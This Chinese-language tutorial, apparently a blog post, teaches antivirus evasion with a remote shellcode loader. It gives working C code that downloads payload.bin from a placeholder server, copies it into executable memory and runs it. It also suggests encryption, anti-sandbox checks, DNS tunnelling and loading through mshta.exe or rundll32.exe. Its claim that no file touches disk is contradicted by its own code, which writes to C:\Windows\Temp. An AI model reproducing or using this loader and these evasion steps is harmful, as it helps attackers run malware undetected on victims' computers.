杀毒软件的检测方式,主要还是靠特征匹配,虽然现在有很多行为分析的杀软,但归根结底,它们还是在监控API 调用模式。问题是,合法软件和恶意软件调用的 API 大部分是一样的,所以行为检测很容易误判。而且,只要换个编译器、改改代码,很多恶意软件就能成功绕过查杀。
为了更稳妥地避开杀毒软件,我们可以采用远程分离免杀(Remote Loader)的方法——本地只运行一个下载器(Loader),shellcode放在远程服务器上,运行时再下载并执行,本地并无实际文件落地;这样杀软在扫描本地文件时什么都抓不到。
远程分离免杀流程:
- 编写远程加载器(Remote Loader),用于从远程服务器下载
payload.bin
。 - 服务器端存储
payload.bin
,可使用加密存储,降低被溯源风险。 - Loader 运行时下载
payload.bin
并解密执行**,避免本地文件存储,提高免杀能力。
简单实现:写个远程 Loader:
下面这段 C 代码演示了如何从远程服务器下载 payload.bin
并执行:
#include <stdio.h>
#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
#define REMOTE_URL "http://yourserver.com/payload.bin"
#define LOCAL_FILE "C:\\Windows\\Temp\\payload.bin"
int main() {
// 下载 payload.bin
if (URLDownloadToFileA(NULL, REMOTE_URL, LOCAL_FILE, 0, NULL) != S_OK) {
printf("下载失败\n");
return -1;
}
// 读取 payload.bin
HANDLE hFile = CreateFileA(LOCAL_FILE, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("打开文件失败\n");
return -1;
}
DWORD dwSize = GetFileSize(hFile, NULL);
LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ReadFile(hFile, lpAddress, dwSize, NULL, NULL);
CloseHandle(hFile);
// 直接执行
((void(*)())lpAddress)();
return 0;
}
思路很简单:
- 用
URLDownloadToFileA
把payload.bin
下载到C:\Windows\Temp\
。 - 读取文件到内存。
- 直接执行。
这样做到了一个基本的分离免杀,持续想要优化的话可以使用纯内存加载(不落地)并融合一下加密、反沙箱等方法,进一步优化还可以,改用 DNS 隧道传输 payload.bin
,绕过常规的流量监控。或者是利用 Windows 自带工具(如 mshta.exe
、rundll32.exe
)加载。